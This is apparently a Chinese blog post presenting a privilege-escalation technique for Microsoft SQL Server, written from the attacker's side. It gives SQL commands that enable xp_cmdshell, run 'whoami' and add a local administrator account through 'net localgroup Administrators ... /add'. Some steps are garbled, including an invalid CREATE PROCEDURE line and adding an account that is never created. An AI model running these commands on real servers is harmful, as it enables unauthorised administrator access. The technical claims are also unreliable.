shellMSSQL提权之超级权限XPCmdshell突破穷尽(mssql提权xpcmd)

2023-04-20 21:05:59 权限 突破 穷尽

Shell对MSSQL的提权一直是攻击者热衷的一个类别,不管是口令破解还是本地与远程的各种漏洞攻击。MSSQL拥有超强的服务器内核及数据处理能力,丰富的功能操作接口,以及SQL注入,利用以上方式可以为攻击者提供了提权的突破口,本文将介绍通过XPCmdshell突破MSSQL的超级权限提权技术。

XPCMDShell是MSSQL 2005/2008/2012服务器,允许在MSSQL服务器上运行任意操作系统命令,相当于在MSSQL服务器上加装一个计算机操作系统,但是往往MSSQL服务器会做权限控制来限制非管理员用户的操作,以期保证安全。由于XPCMDShell的强大通用能力,成为攻击者钻研的对象,可以突破MSSQL服务器对非管理员权限的控制。

首先,使用MSSQL在MSSQL服务器上创建一个xp_cmdshell过程:

“`SQL

CREATE PROCEDURE xp_cmdshell AS EXTERNAL NAME xp_cmdshell.dll


其次,检查xp_cmdshell是否加载成功:
```SQL
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
EXEC master..xp_cmdshell 'whoami'

如果出现NT AUTHORITY\SYSTEM的输出,说明xp_cmdshell加载成功。若显示未加载成功,可以尝试重新生成一个xp_cmdshell过程。

最后,执行获取超级权限的语句:

“`SQL

EXEC xp_cmdshell ‘Net LocalGroup Administrators sapps /add’

这将在MSSQL服务器上新增一个本地管理员sapps,从而实现了MSSQL server提权技术。
总结来说,XPCmdshell突破MSSQL超级权限,是利用XPCmdShell特性来开发一个xp_cmdshell过程,使用Net LocalGroup Administrators命令来获取超级权限。但是,往往MSSQL服务器会对XPCmdShell进行安全限制,因此攻击者在使用XPCmdshell来提权时还需留心。

相关文章